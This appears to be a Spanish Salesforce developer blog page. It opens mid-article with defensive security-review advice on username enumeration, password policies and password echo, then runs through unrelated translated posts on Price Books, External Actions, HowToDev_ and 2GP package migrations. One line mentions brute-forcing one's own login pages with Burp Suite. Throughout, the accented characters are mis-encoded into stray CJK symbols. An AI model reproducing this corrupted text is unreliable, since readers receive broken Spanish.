Por lo general, este problema solo surge en aplicaciones web externas fuera de la plataforma Salesforce. Se refiere a una situaci贸n en la que los atacantes pueden enumerar listas de nombres de usuario o correos electr贸nicos de su base de usuarios, generalmente analizando cambios en mensajes de error en funciones de inicio de sesi贸n, funciones de olvido de contrase帽a o registros de cuentas. Los atacantes suelen hacer esto para poder comprobar si hay contrase帽as reutilizadas de bases de datos comprometidas y fugas o volcados de contrase帽as.

驴C贸mo puedo abordar esto?

Verifique sus mensajes de error para registros de cuentas, recuperaci贸n de contrase帽as, intentos de inicio de sesi贸n, etc., y aseg煤rese de que su mensaje de error sea el mismo independientemente de si el nombre de usuario o el correo electr贸nico ingresado es v谩lido.

Por ejemplo, muchos sitios incluyen un mensaje gen茅rico, como: "Si dicho usuario existe, recibir谩 un correo electr贸nico con un restablecimiento de contrase帽a". Este tipo de mensaje general evita confirmar la existencia de un nombre de usuario o correo electr贸nico.

Por supuesto, en determinadas situaciones, puede ser inevitable (por ejemplo, durante el registro de una cuenta, es posible que deba confirmar que se ha utilizado un nombre de usuario). En esas situaciones, intente implementar controles que impidan la enumeraci贸n por fuerza bruta, como captchas para evitar que los robots eliminen su formulario de registro.

Burp Suite es una excelente herramienta para verificar esto, pero si no la tiene, tambi茅n puede revisar sus funcionalidades de inicio de sesi贸n manualmente.

OWASP tiene una gu铆a 煤til para evitar la enumeraci贸n de correos electr贸nicos y nombres de usuarios.

#19 鈥 Gesti贸n de contrase帽as

驴Qu茅 es esto?

En ocasiones, el equipo de seguridad falla en sitios y aplicaciones web externos (que no sean Salesforce) por tener pol铆ticas de contrase帽as problem谩ticas, como por ejemplo:

  • Permitir la reutilizaci贸n de la misma contrase帽a cuando es necesario restablecerla
  • No solicitar la contrase帽a anterior cuando se permite a los usuarios establecer una nueva contrase帽a
  • Para restablecer la contrase帽a, enviar una contrase帽a temporal al correo electr贸nico de un usuario en texto sin formato
  • Dejar contrase帽as predeterminadas en los usuarios ra铆z del servidor o de la base de datos

驴C贸mo puedo abordar esto?

Adem谩s de evitar las situaciones anteriores, consulte la Hoja de referencia de autenticaci贸n de OWASP para obtener algunas pautas sobre c贸mo establecer pol铆ticas de contrase帽as seguras:

Burp Suite tambi茅n es muy 煤til para identificar problemas relacionados con las contrase帽as (por ejemplo, puede usarlo para intentar forzar sus p谩ginas de inicio de sesi贸n).

#20 鈥 Eco de contrase帽a

驴Qu茅 es esto?

Esto es un poco diferente del problema de administraci贸n de contrase帽as descrito anteriormente. Un eco de contrase帽a se refiere a situaciones en las que las contrase帽as se reflejan en texto sin formato en la interfaz de usuario (como cuando el usuario visita su propia p谩gina de configuraci贸n) o en llamadas API/respuestas JSON.

驴C贸mo puedo abordar esto?

Aseg煤rese de que su contrase帽a no se revele ni se transmita en texto sin formato en ninguna parte de su aplicaci贸n. Aseg煤rese de que en las p谩ginas de configuraci贸n u otras p谩ginas que muestran secretos, se muestren solo como asteriscos (se pueden mostrar al hacer clic en el bot贸n si es necesario).

Consulte la hoja de referencia sobre almacenamiento de contrase帽as de OWASP para obtener m谩s informaci贸n.

Burp Suite , o quiz谩s Chimera u OWASP ZAP , tambi茅n pueden ayudarle a detectar estos problemas.

Recursos adicionales

Si su soluci贸n incluye sitios web o aplicaciones web personalizados que no son de Salesforce, le recomendamos encarecidamente invertir en una licencia de Burp Suite si es financieramente viable para su organizaci贸n. Burp Suite es una de las mejores herramientas de seguridad del mercado y tambi茅n la utiliza mucho nuestro propio equipo de seguridad de productos. Chimera u OWASP ZAP son alternativas completamente gratuitas, pero prep谩rate para invertir m谩s tiempo en t茅rminos de revisi贸n manual, ya que carecen de muchas de las potentes funciones/herramientas que tiene Burp Suite.

Nota: Si su oferta se integra con aplicaciones o servicios web que no son de su propiedad, no intente escanear los puntos finales hasta que haya obtenido el permiso del propietario.

Salesforce Product Security tambi茅n utiliza Code Analyzer , PMD para VS Code y Checkmarx para revisar el c贸digo fuente del paquete Salesforce. Tambi茅n utilizan la base de datos CVE y el esc谩ner Qualys SSL en la mayor铆a de los env铆os.

Si tiene problemas de seguridad y necesita orientaci贸n t茅cnica, los socios ISV pueden registrarse para obtener horas de oficina gratuitas con nuestros ingenieros de seguridad a trav茅s del Portal de seguridad para socios .

Por 煤ltimo, no podemos recomendar lo suficiente Trailhead en t茅rminos de preparaci贸n para revisiones de seguridad. Vale la pena dedicar tiempo a la ruta Desarrollar aplicaciones web seguras y tambi茅n acabamos de renovar el m贸dulo Revisi贸n de seguridad de AppExchange , que analiza el proceso de env铆o de un extremo a otro.

Sobre el Autor

Anika Teppo es evangelista t茅cnica en Salesforce. Ha estado trabajando con el equipo de revisi贸n de seguridad de AppExchange en Salesforce desde 2017, y su funci贸n actual consiste en hacer que Salesforce Labs y las soluciones internas se revisen y publiquen en AppExchange.

Obtenga las 煤ltimas publicaciones de blog y episodios de podcasts para desarrolladores de Salesforce a trav茅s de Slack o RSS.

A帽adir a holgura Suscr铆bete a RSS

Seguir leyendo

Aprenda Salesforce Like I Am 10 Producto, libro de precios, entrada de libro de precios, activo

Aprenda Salesforce Like I Am 10 Producto, libro de precios, entrada de libro de precios, activo

Un rect谩ngulo amarillo y azul con texto negro Descripci贸n generada autom谩ticamente

隆Bienvenidos a la helader铆a Emma's Flavourland, un lugar de pura magia deliciosa del helado! Imag铆nese entrando en un pa铆s de las maravillas de sabores y diversi贸n, donde cada primicia es pura delicia.

Nosotros aprenderemos:

Pero todo divertido, como aprender ABC. woo-hoo!

Para realizar un seguimiento de todos sus deliciosos helados, Emma utiliza Salesforce. Puedes pensar en 茅l como un libro m谩gico que la ayuda a organizar sus sabores de la manera m谩s sorprendente. Con Salesforce, anota los nombres y las descripciones de los tipos, e incluso agrega im谩genes coloridas a un objeto de Salesforce. Piense en ello como una tabla llamada 'Producto'.

Una captura de pantalla de una computadora Descripci贸n generada autom谩ticamente

Libro de precios

Para administrar sus estrategias de precios, utiliz贸 la funci贸n "Libros de precios" de Salesforce, que le permiti贸 crear diferentes tipos de listas de precios.

En su 鈥淟ibro de precios est谩ndar鈥, Emma enumer贸 los precios regulares de sus sabores de helado. Estos fueron los precios que la mayor铆a de los clientes pagaron cuando visitaron su tienda.

En la tabla Libro de precios, encontrar谩 el Nombre del libro de precios, como el Libro de precios est谩ndar y el Libro de precios especial para ni帽os y la Descripci贸n del Libro de precios.

Emma tambi茅n quer铆a que su helado fuera m谩s asequible y emocionante para los ni帽os. Entonces, cre贸 un libro de precios especiales llamado "Libro de precios especiales para ni帽os". En este libro de precios, agreg贸 precios con descuento exclusivamente para ni帽os.

Un cuadro rectangular amarillo y azul con l铆neas blancas Descripci贸n generada autom谩ticamente

Una captura de pantalla de una computadora Descripci贸n generada autom谩ticamente

Tenga en cuenta que Pricebook en s铆 no tiene los precios indicados para el helado, para esto tenemos Price Book Entry.

Entrada de la lista de precios

Para conectar los sabores de helado, es decir, los productos con sus respectivos libros de precios, es decir, el libro de precios est谩ndar y el libro de precios especial para ni帽os, Emma crea entradas en el libro de precios. Puede pensar que PriceBook Entry es el amigo com煤n que conecta Product y Pricebook entre s铆.

Aqu铆 el Producto es S煤per Fresa y est谩 conectado a PriceBook Est谩ndar y Especial para Ni帽os con la ayuda de PriceBook Entry.

Personajes de dibujos tomados de la mano Descripci贸n generada autom谩ticamente

Venta basada en productos

En la helader铆a Flavourland de Emma, ofrece sabores de helado individuales y paquetes de helados especiales para sus clientes. Esto se llama Venta basada en productos.

Un p贸ster de helader铆a Descripci贸n generada autom谩ticamente

Venta basada en servicios

A medida que la marca de helados de Emma se expande, ella presenta el "Catering de helados" como un servicio exclusivo. La belleza de este servicio es que no tiene que preocuparse por la log铆stica. El equipo de Emma se encarga de instalar, servir y limpiar despu茅s. Todo lo que necesitas hacer es sentarte y disfrutar de la celebraci贸n.

Caricatura de una persona sosteniendo un cono de helado Descripci贸n generada autom谩ticamente

Activo

Un producto, en este caso, se refiere a los deliciosos sabores de los helados y un Activo es la Helader铆a y el Carrito de Helados que ayuda a Emma a vender su Helado sin problemas.

Una tienda rosa con un letrero Descripci贸n generada autom谩ticamente

Yay… Aprendemos producto, libro de precios, entrada de libro de precios, venta basada en productos, venta basada en servicios y activos de la manera m谩s dulce posible.

Un grupo de ni帽os bailando Descripci贸n generada autom谩ticamente

Si te gusta el contenido, suscr铆bete a mi canal de Youtube sfdcamplified para obtener m谩s temas como este.

Aprenda Salesforce como si tuviera 10 a帽os: producto, libro de precios, entrada del libro de precios, activo

50% Me gusta VS
50% No me gusta

Seguir leyendo

Comenzando con Acciones Externas 鈽侊笍

Comenzando con Acciones Externas 鈽侊笍

Esta es una traducci贸n que desde EGA Futura ofrecemos como cortes铆a a toda la Ohana y comunidad de programadores , consultores , administradores y arquitectos de Salesforce para toda Iberoam茅rica .

El enlace a la publicaci贸n original, lo encontrar谩s al final de este art铆culo.

Introducci贸n a las acciones externas | Blog de desarrolladores de Salesforce

Tuve excelentes conversaciones con clientes y socios en Connections este a帽o, as铆 como a trav茅s de la comunidad Trailblazer de MC Account Engagement , con respecto a las acciones externas de Account Engagement . Segu铆a surgiendo una pregunta: "驴C贸mo empiezo con las acciones externas?" En esta publicaci贸n, aprender谩 qu茅 son las acciones externas, c贸mo configurarlas y c贸mo probarlas. Adem谩s, sintonice una pr贸xima sesi贸n de codeLive el 20 de julio a las 10 a. m. PT , donde realizar茅 una demostraci贸n de codificaci贸n en vivo para mostrarle c贸mo crear una acci贸n externa y responder sus preguntas.

驴Qu茅 son las Acciones Externas?

Las acciones externas son una parte clave deMarketing App Extensions , ya que proporcionan una forma de desencadenar una acci贸n en un sistema externo. El otro componente es Actividades externas, que proporciona una forma de activar la automatizaci贸n de la participaci贸n de la cuenta en funci贸n de un evento de participaci贸n que ocurre en un sistema externo. Piense en ello como las dos caras de una moneda, las acciones se activan, las actividades se activan. Combinadas, forman una aplicaci贸n de extensibilidad de automatizaci贸n para un servicio, por lo que puede tener una extensi贸n de aplicaci贸n de marketing por SMS, por ejemplo.

Por este motivo, las acciones externas se empaquetan en una extensi贸n de aplicaci贸n de marketing. En el momento de escribir este art铆culo, las actividades externas a煤n no se pueden empaquetar, pero eventualmente tambi茅n se empaquetar谩n en la extensi贸n de la aplicaci贸n de marketing.

Si desea conectar una aplicaci贸n de terceros para automatizar la ejecuci贸n de una acci贸n de prospecto en ese sistema, entonces esta es definitivamente la funci贸n para usted. En esta publicaci贸n, profundizaremos en el lado de la acci贸n externa de las extensiones de aplicaciones de marketing.

驴Cu谩les son algunos buenos casos de uso para las acciones externas?

Bueno, si me preguntan, 隆dir铆a absolutamente todo! Puede que est茅s pensando: 鈥溌laro, todo el mundo dice eso!鈥. Sin embargo, las posibilidades que desbloquean las acciones externas son realmente amplias. Si alguna vez ha dicho: "Me gustar铆a que cuando un prospecto llegue a este paso, yo pudiera <insertar deseo aqu铆>", entonces deseaba una acci贸n externa.

Puede usar una acci贸n externa para registrarse en un seminario web de Zoom desde Account Engagement (consulte el ejemplo en GitHub ). Tambi茅n puede usar una acci贸n externa para enviar un mensaje SMS a trav茅s de Twilio, que presentamos en una publicaci贸n de blog anterior . Incluso puedes usar acciones externas con webhooks; Us茅 la funci贸n de captura de webhook de Zapier para crear una acci贸n externa que usaba un cliente potencial como desencadenante de un Zap.

驴Qu茅 constituye una acci贸n externa?

Una acci贸n externa consta de una acci贸n invocable de Apex, metadatos de la extensi贸n de la aplicaci贸n de marketing, metadatos de una acci贸n externa y una forma de gestionar la autenticaci贸n. Los metadatos para las extensiones de la aplicaci贸n de marketing y las actividades externas conectan la acci贸n invocable con la participaci贸n de la cuenta. Los componentes que se usar谩n para la autenticaci贸n pueden variar seg煤n el tipo de autenticaci贸n que admita el servicio. Como OAUTH 2.0 es bastante com煤n, el componente que uso m谩s es un proveedor de autorizaci贸n y Credenciales con nombre . Las credenciales con nombre tambi茅n facilitan la administraci贸n de la autenticaci贸n en mi c贸digo, y el sistema hace la mayor parte del trabajo.

驴Qu茅 habilidades necesito para trabajar con Acciones Externas?

Con una gran flexibilidad viene la complejidad, por lo que necesitar谩 algunas habilidades en ciertas 谩reas para construir con 茅xito una acci贸n externa. Los siguientes son temas clave de los que necesitar谩 una comprensi贸n b谩sica antes de abordar su propia acci贸n externa.

SLDC de Salesforce

Comprender el ciclo de vida del desarrollo de Salesforce es muy importante para tener 茅xito en general. Recomiendo aprender Visual Studio y el proceso de implementaci贸n de la CLI. No se necesita maestr铆a, solo lo b谩sico para poder empezar. Trailhead ofrece una ruta para ayudarlo a configurar su espacio de trabajo .

Documentaci贸n de la API REST

El patr贸n del que hablamos en este art铆culo se basa en las API REST JSON. Para comprender lo que es posible y recopilar las entradas pertinentes para una acci贸n externa, debe poder leer una especificaci贸n API. Consulte las especificaciones de la API de Account Engagement y Twilio .

Implementaci贸n de Apex y Apex

Apex Invocable Actions es mi forma preferida de codificar mis acciones externas, ya que me permite la mayor flexibilidad y control. Recomendar铆a, como m铆nimo, familiarizarse con la compilaci贸n y la implementaci贸n de c贸digo Apex mediante el proyecto Quick Start: Apex de Trailhead. Para obtener m谩s informaci贸n, encontr茅 煤til el trailmix de Apex Basics . No necesita convertirse en un experto, pero al menos debe estar lo suficientemente informado como para poder leer el c贸digo de la aplicaci贸n de referencia .

Flujo de Salesforce (opcional)

No necesita conocer Salesforce Flow para aprender Acciones externas. Sin embargo, es una herramienta de prueba muy poderosa para sus acciones externas, lo que facilita la creaci贸n de una interfaz de usuario para controlar las entradas durante la prueba. Si est谩 familiarizado con Engagement Studio, Flow ser谩 bastante f谩cil ya que tiene muchos de los mismos conceptos. Utilic茅 la ruta Crear flujos con Flow Builder para ponerme al d铆a. Otro beneficio de aprender Salesforce Flow es que abre la puerta a la creaci贸n de todo tipo de automatizaci贸n de procesos comerciales.

驴C贸mo debo configurar mi entorno de desarrollador?

Es importante configurar sus entornos de desarrollador y contar con las herramientas adecuadas antes de comenzar con las acciones externas. Yo uso las siguientes herramientas.

  • Postman : utilizo Postman para explorar una nueva API, por lo que puedo aprender a realizar una solicitud y responder de forma sencilla. Postman tambi茅n proporciona una manera f谩cil de generar ejemplos.
  • CLI de Visual Studio + Salesforce 鈥 Uso Visual Studio para codificar mi acci贸n invocable y la implemento en mi organizaci贸n de desarrollador. La mayor铆a de las veces, es simplemente copiar y pegar un ejemplo anterior y editarlo para mi nuevo caso de uso.
  • Entorno de desarrollador/sandbox : este es un entorno seguro para construir, desarrollar y empaquetar sus acciones externas. Tenga en cuenta que, en el momento de escribir este art铆culo, solo admitimos paquetes de primera generaci贸n (1GP) , por lo tanto, no configure su organizaci贸n de desarrollador como Dev Hub.
  • Salesforce Flow : personalmente me gusta usar ScreenFlows para probar una acci贸n invocable. Es bueno poder controlar completamente la entrada antes de conectarla a acciones externas y programas ES.
  • Consola de desarrollador de Salesforce : esto le permite ver r谩pidamente el c贸digo o ver los registros de sus pruebas de flujo de pantalla.

Patr贸n b谩sico para llamadas API REST con acciones externas

Si bien puede codificar acciones externas de muchas maneras, existe un patr贸n b谩sico que recomiendo al realizar llamadas a la API REST.

Las dos etiquetas que debe recordar son InvocableVariable , que define las entradas y salidas de la acci贸n invocable, e InvocableMethod , que es el m茅todo a llamar al ejecutar la acci贸n invocable. Puede ver c贸mo se aplican en el siguiente c贸digo de ejemplo.

Normalmente creo dos clases, una para la entrada y otra para la solicitud de API. Separar mi c贸digo en dos clases facilita jsonificar la carga 煤til. Mi clase de entrada contiene todos los campos de variables invocables que la acci贸n invocable necesita en la entrada. Mi solicitud de API contiene los campos de la solicitud JSON.

InvocableMethod construir谩 la carga 煤til a partir de la entrada, la convertir谩 a JSON y luego la agregar谩 a la solicitud HTTP. A continuaci贸n, configura el resto de la solicitud HTTP agregando la URL, los encabezados y el m茅todo. Finalmente, realiza la llamada a la API y comprueba si el resultado es correcto o, de lo contrario, genera un error 煤til para diagnosticar un problema.

Consideraci贸n importante: el marco de acci贸n externa espera que se devuelva un error si hay una falla en lugar de detectar el error y luego devolver el 茅xito. Si se devuelve un error, se informar谩 en la tabla de errores.

Poniendo a prueba tus acciones externas

De vez en cuando, mientras crea una acci贸n externa, encontrar谩 errores. Cuanto m谩s pueda probar sobre la marcha, m谩s f谩cil ser谩 descubrir d贸nde radica el problema. Es por eso que recomiendo agregar un paso de prueba para probar en Salesforce Flow antes de probar en Engagement Studio. Elimina la configuraci贸n de la acci贸n externa de la imagen, por lo que si la verifica aqu铆, pero no funciona en Engagement Studio, sabr谩 que el problema radica en la configuraci贸n de la acci贸n externa.

Las pruebas lo ayudan a identificar errores, pero determinar la causa ra铆z y corregirlos es otra cosa. A continuaci贸n se presentan algunas de las t茅cnicas que utilizo para diagnosticar las causas fundamentales.

  • Consola de desarrollador de Salesforce : utilizo la consola de desarrollo para ejecutar mis casos de prueba y confirmar la cobertura de mi c贸digo. Durante las pruebas exploratorias en Flow, mantengo abierta mi consola de desarrollo, por lo que genera registros para usar en la investigaci贸n de errores.
  • Rastreos de registro de Salesforce : si el error ocurre durante mi prueba de Engagement Studio, coloco un rastreo de usuario en el usuario de integraci贸n B2BMA, para poder ver mis registros de Apex y diagnosticar el problema m谩s a fondo. Tenga cuidado, podr铆a terminar con una gran cantidad de datos. El Usuario de Integraci贸n B2BMA es el usuario que ejecuta acciones externas.
  • Errores de acci贸n externa de compromiso de cuenta : la tabla proporciona cualquier error devuelto por la acci贸n externa que result贸 en una falla. Es 煤til ver lo que sucedi贸 durante una ejecuci贸n de ES.

SUGERENCIA: si tiene una cuenta de Gmail, puede usar un "+" para crear varios registros con su direcci贸n de correo electr贸nico. Por ejemplo, puedo registrar tanto "ejemplo@ejemplo.com" como "ejemplo+usuario2@ejemplo.com" como prospecto, y cualquier correo enviado a esas direcciones ir铆a al buz贸n de correo de ejemplo@ejemplo.com. Por ejemplo, us茅 esto para probar el ejemplo de registro de Zoom porque no quer铆a que el correo electr贸nico registrado rebotara.

Errores comunes

Los errores van a suceder, as铆 es la vida. Me he encontrado con algunos escenarios que me han hecho casi tirarme de los pelos.

El primero es garantizar que la acci贸n exterior sea activa. Si la acci贸n no aparece en Engagement Studio, es probable que esta sea la causa. Recuerde, debe activar tanto la extensi贸n de la aplicaci贸n de marketing como la acci贸n externa, adem谩s de asignarla a esa unidad comercial.

El siguiente es asegurarse de que su clase de Apex est茅 activa. La mayor铆a de las veces ya estar谩 marcado como activo, es el estado predeterminado cuando creas una nueva clase. Es exactamente por eso que es f谩cil pasarlo por alto.

Otro es buscar extensiones de aplicaciones de marketing al empaquetar. No puedo decirte cu谩ntas veces busco acciones externas, solo para tener un momento de confusi贸n antes de recordar.

Finalmente, si su acci贸n externa no funciona, pero no ve errores, verifique que la acci贸n invocable fue dise帽ada para generar un error en caso de falla.

Lo anterior no es de ninguna manera exhaustivo, y es probable que encuentre sus propias alegr铆as. Sin embargo, recomiendo compartirlos con la comunidad si encuentra algunos buenos.

驴Que estas esperando? 隆Empiece hoy!

Ahora sabe casi todo lo que hago sobre las acciones externas, desde c贸mo funciona la funci贸n hasta los errores comunes. Recuerde que Acciones externas es su herramienta siempre que se encuentre diciendo: "Me gustar铆a hacer algo cuando el cliente potencial haga esto", y lo ayudar谩 a automatizar esa acci贸n.

Entonces, configure su entorno de desarrollador, revise la aplicaci贸n de referencia y comience a construir su acci贸n externa hoy. El 20 de julio a las 10 a. m. (hora del Pac铆fico) , realizaremos una sesi贸n de CodeLive en nuestro canal de YouTube para desarrolladores de Salesforce , as铆 que 煤nase y s铆ganos mientras construimos una extensi贸n de la aplicaci贸n de marketing de Twilio.

Recursos

Sobre el Autor

Christopher Cornett es gerente s茅nior de productos en Salesforce, responsable de la experiencia del desarrollador de Account Engagement. Ha trabajado para Salesforce durante m谩s de cuatro a帽os y tiene m谩s de 13 a帽os de experiencia en gesti贸n de productos, trabajando principalmente en plataformas que van desde la atribuci贸n de big data hasta el fraude. Christopher ha ayudado a ofrecer API V5 y extensiones de aplicaciones de marketing, ayudando a los clientes a crear integraciones personalizadas para que su pila de marketing funcione para ellos. Le apasiona la experiencia del desarrollador y le encanta jugar con todas las excelentes funciones para ver qu茅 es posible.

Obtenga las 煤ltimas publicaciones de blog de desarrolladores de Salesforce y episodios de podcast a trav茅s de Slack o RSS.

Agregar a Slack Suscr铆bete a RSS

Seguir leyendo

Presentamos HowToDev_ 鈽侊笍

Presentamos HowToDev_ 鈽侊笍

Esta es una traducci贸n que desde EGA Futura ofrecemos como cortes铆a a toda la Ohana y comunidad de programadores , consultores , administradores y arquitectos de Salesforce para toda Iberoam茅rica .

El enlace a la publicaci贸n original, lo encontrar谩s al final de este art铆culo.

Presentamos HowToDev_ | Blog de desarrolladores de Salesforce

HowToDev_ es una nueva serie sobre Salesforce+ que creamos para ayudar a los desarrolladores a familiarizarse con Salesforce Platform. Si ya tiene habilidades tecnol贸gicas pero es nuevo en el ecosistema de Salesforce, o si desea aprender un poco sobre el desarrollo, 隆HowToDev_ es la serie para usted!

En esta nueva serie, aprender谩 a ampliar la Plataforma de Salesforce y crear aplicaciones personalizadas utilizando potentes funciones de desarrollo de Salesforce l铆deres en la industria. Ser茅 su anfitri贸n y, en cada episodio, lo explicar茅 c贸mo tomar una interfaz de usuario basada en datos que viene lista para usar con Salesforce y crear una experiencia intuitiva e interactiva que facilite la vida de los usuarios.

Descripci贸n general de la plataforma de Salesforce

La plataforma de Salesforce re煤ne una serie de servicios de infraestructura, red, aplicaciones y datos para crear una poderosa herramienta que puede ampliar en un abrir y cerrar de ojos. Esto se debe a muchas de las complejidades que puede haber utilizado en otras plataformas de usuarios y desarrolladores. En el primer episodio de HowToDev_, repasamos una descripci贸n general de Salesforce Platform y c贸mo puede crear objetos personalizados para ampliar el modelo de datos.

Realmente solo necesita preocuparse por la aplicaci贸n y los servicios de datos que se le proporcionan para construir. Desde su front-end hasta sus API, todo sale de la caja listo para que comience a construir.

隆Vamos a codificar!

隆Espera un segundo! Hay algunas cosas que necesita saber aqu铆 antes de abrir ese entorno de desarrollo. Aqu铆 hay un vistazo de lo que cubrimos en el Episodio 1 .

Comprender la importancia de los metadatos en Salesforce: Nosotros explicar la funci贸n de los metadatos, que representan toda la configuraci贸n, la automatizaci贸n y la interfaz de usuario en el entorno de Salesforce.

Definici贸n de qu茅 son una aplicaci贸n y una organizaci贸n en Salesforce: aclaramos los conceptos de una aplicaci贸n y una organizaci贸n en Salesforce, subrayando su distinci贸n con respecto a las aplicaciones y organizaciones tradicionales.

Creaci贸n del objeto de propiedad : demostramos el proceso de creaci贸n de un objeto personalizado (el objeto de propiedad) en Configuraci贸n de Salesforce, que funciona como una tabla de base de datos para administrar y rastrear propiedades.

Agregar nuevos campos al objeto: agregamos dos nuevos campos personalizados al objeto Propiedad (es decir, Fecha de cotizaci贸n y D铆as en el mercado), que resaltan la naturaleza din谩mica de los campos de Salesforce.

Mirando hacia el futuro: Concluimos el episodio con una mirada al futuro de lo que cubrir谩 la serie, prometiendo una futura exploraci贸n de la codificaci贸n y la resoluci贸n de problemas complejos dentro de Salesforce.

Una vez que tenga una mayor comprensi贸n de estos conceptos, 隆podemos abrir la CLI en el Episodio 2 !

D贸nde ver HowToDev_

Todos los episodios se lanzaron a la vez en Salesforce+, 隆as铆 que puede disfrutarlos todos ahora! Esto es lo que se trata en cada episodio:

Episodio 1: Descripci贸n general de la plataforma Salesforce
Episodio 2: Herramientas para desarrolladores de Salesforce
Episodio 3: C贸digo en Salesforce con Apex, SOQL y DML
Episodio 4: compilar componentes web Lightning
Episodio 5: Automatizaci贸n con flujo y disparadores
Episodio 6: Completar y lanzar su aplicaci贸n Salesforce

M谩s recursos

  • HowToDev_ Repositorio de GitHub : este es el lugar donde encontrar谩 todo el c贸digo, las definiciones, los enlaces y los documentos a los que se hace referencia en la serie.
  • Creamos una divertida Trailhead Quest para completar mientras ves HowToDev_. 脷nase a la b煤squeda ahora para poner a prueba sus conocimientos y tener la oportunidad de ganar* uno de los 10 paquetes de premios HowToDev_, que incluyen un par de Apple AirPods y un estuche personalizado de Salesforce Developers. Tambi茅n recibir谩 una insignia exclusiva de la comunidad HowToDev_ en Trailhead. Complete la misi贸n en cualquier momento antes del 31 de julio a las 11:59 p. m. (hora del Pac铆fico) para participar y ganar.

Sobre el Autor

Stephan Chandler-Garcia es promotor de desarrolladores en Salesforce. Ha estado en el ecosistema de Salesforce durante m谩s de 10 a帽os como cliente, socio e ISV. Puede encontrar a Stephan en persona en un grupo comunitario de Trailblazer o en una de nuestras conferencias en todo el mundo. Alternativamente, s铆galo en Twitter @stephanwcg o @schandlergarcia en GitHub, y consulte su repositorio de GitHub para ver c贸digo de muestra y proyectos.

Obtenga las 煤ltimas publicaciones de blog de desarrolladores de Salesforce y episodios de podcast a trav茅s de Slack o RSS.

Agregar a Slack Suscr铆bete a RSS

Seguir leyendo

Mu茅vete a 2GP Administrado con Migraciones de Paquetes 鈽侊笍

Mu茅vete a 2GP Administrado con Migraciones de Paquetes 鈽侊笍

Esta es una traducci贸n que desde EGA Futura ofrecemos como cortes铆a a toda la Ohana y comunidad de programadores , consultores , administradores y arquitectos de Salesforce para toda Iberoam茅rica .

El enlace a la publicaci贸n original, lo encontrar谩s al final de este art铆culo.

Pasar a 2GP administrado con migraciones de paquetes | Blog de desarrolladores de Salesforce

Han pasado casi cuatro a帽os desde que lanzamos por primera vez el paquete administrado de segunda generaci贸n (2GP) , que permite a nuestros socios de AppExchange crear y distribuir soluciones utilizando un modelo de desarrollo basado en CLI, basado en fuente y f谩cil de automatizar.

Desde entonces, recibimos una gran cantidad de excelentes comentarios de nuestra comunidad de desarrolladores, y continuamos innovando en m煤ltiples 谩reas relacionadas con la experiencia del desarrollador, el rendimiento, la paridad del tipo de metadatos con el paquete administrado de primera generaci贸n (1GP), etc. Cada vez que nos reunimos con desarrolladores de ISV, constantemente escuchamos sobre la necesidad de que Salesforce los ayude a ellos y a sus clientes a pasarse al mundo de 2GP.

隆Hoy, tengo algunas noticias emocionantes para compartir con todos ustedes! Estamos abordando la pregunta n.潞 1 de nuestros desarrolladores de ISV al presentar una nueva funci贸n: Migraciones de paquetes . En pocas palabras, Package Migrations automatiza por completo el proceso de convertir paquetes 1GP a 2GP y migra sin problemas a los clientes con paquetes instalados a 2GP. Si es un socio ISV que crea paquetes administrados, 隆esta publicaci贸n de blog es para usted!

Antes de sumergirnos en los detalles de las migraciones de paquetes, echemos un vistazo a algunos beneficios de usar 2GP para el desarrollo de paquetes.

Beneficios de usar 2GP para el desarrollo de paquetes

En el coraz贸n de 2GP se encuentra un modelo de desarrollo basado en fuente, donde un repositorio de c贸digo fuente como Git representa la fuente de la verdad para su paquete. Esto es fundamentalmente diferente del mundo de 1GP, donde utiliza una organizaci贸n de empaquetado para mantener todos los metadatos que desea empaquetar y distribuir a sus clientes.

Este modelo de desarrollo impulsado por la fuente, impulsado por la CLI de Salesforce , puede aumentar dr谩sticamente la productividad y la colaboraci贸n de su equipo. Los desarrolladores pueden usar Dev Hub para activar r谩pidamente organizaciones temporales , crear una funci贸n de forma conjunta y comprometerla con el control de c贸digo fuente. Cuando est茅 listo para distribuir una nueva versi贸n de su 2GP, simplemente extraiga la rama correspondiente a una m谩quina local y use la CLI para crear su nueva versi贸n del paquete.

Es importante destacar que este enfoque basado en CLI tambi茅n significa que puede integrar f谩cilmente su proceso de empaque por completo en CI/CD, lo que facilita la automatizaci贸n completa de su flujo de trabajo. Puede, por ejemplo, ejecutar autom谩ticamente Salesforce Code Analyzer en una base de c贸digo y, siempre que no se encuentren problemas, crear una nueva versi贸n del paquete.

En el mundo de 1GP, estabas atrapado usando un espacio de nombres diferente para cada uno de tus paquetes. En 2GP, todos sus paquetes pueden compartir el mismo espacio de nombres, lo que le permite aprovechar un enfoque verdaderamente modular para el desarrollo de paquetes para mantener sus paquetes bien organizados. Tambi茅n es posible declarar expl铆citamente dependencias entre paquetes , asegurando que todo funcione en conjunto sin problemas.

Con 2GP, tambi茅n obtiene un control de versiones flexible, lo que le permite abandonar versiones de paquetes que ya no desea utilizar. En su lugar, puede especificar un ancestro de la versi贸n del paquete y crear efectivamente una nueva rama en la que desee continuar con su desarrollo.

Finalmente, apoyar a los clientes nunca ha sido tan f谩cil con 2GP. En el mundo de 1GP, los parches solo se pueden crear desde una organizaci贸n de parches. Con el modelo de desarrollo basado en el c贸digo fuente de 2GP, puede simplemente crear una versi贸n del paquete de parches directamente desde la CLI y, siempre que el parche cumpla con los requisitos relacionados con los cambios menores y la ascendencia del paquete, se crea y est谩 listo para instalarse en la organizaci贸n de su cliente.

Dicho todo esto, 2GP puede agregar mucho valor a su proceso de desarrollo. 隆Ahora, averig眉emos c贸mo las Migraciones de paquetes pueden ayudarlo a llegar al mundo de 2GP!

Introducci贸n a las migraciones de paquetes

Package Migrations ampl铆a la funcionalidad de 2GP con comandos CLI adicionales y capacidades adicionales para ayudar a los desarrolladores de ISV a realizar una transici贸n completa al mundo de 2GP. Actualmente se encuentra en Developer Preview y est谩 abierto para que todos los desarrolladores de ISV lo prueben en sus paquetes 1GP existentes. 隆Siga leyendo para saber c贸mo participar en la versi贸n preliminar para desarrolladores!

Hay dos elementos para las migraciones de paquetes: conversi贸n de paquetes y migraci贸n de paquetes.

La conversi贸n de paquetes se inicia a trav茅s del nuevo comando sf package convert . Toma una versi贸n espec铆fica de su paquete 1GP existente (Acme v1.0 en este ejemplo) y usa algo de magia detr谩s de escena para convertirlo en una versi贸n de paquete 2GP correspondiente (Acme v1.0.0.1 usando la numeraci贸n de versi贸n 2GP).

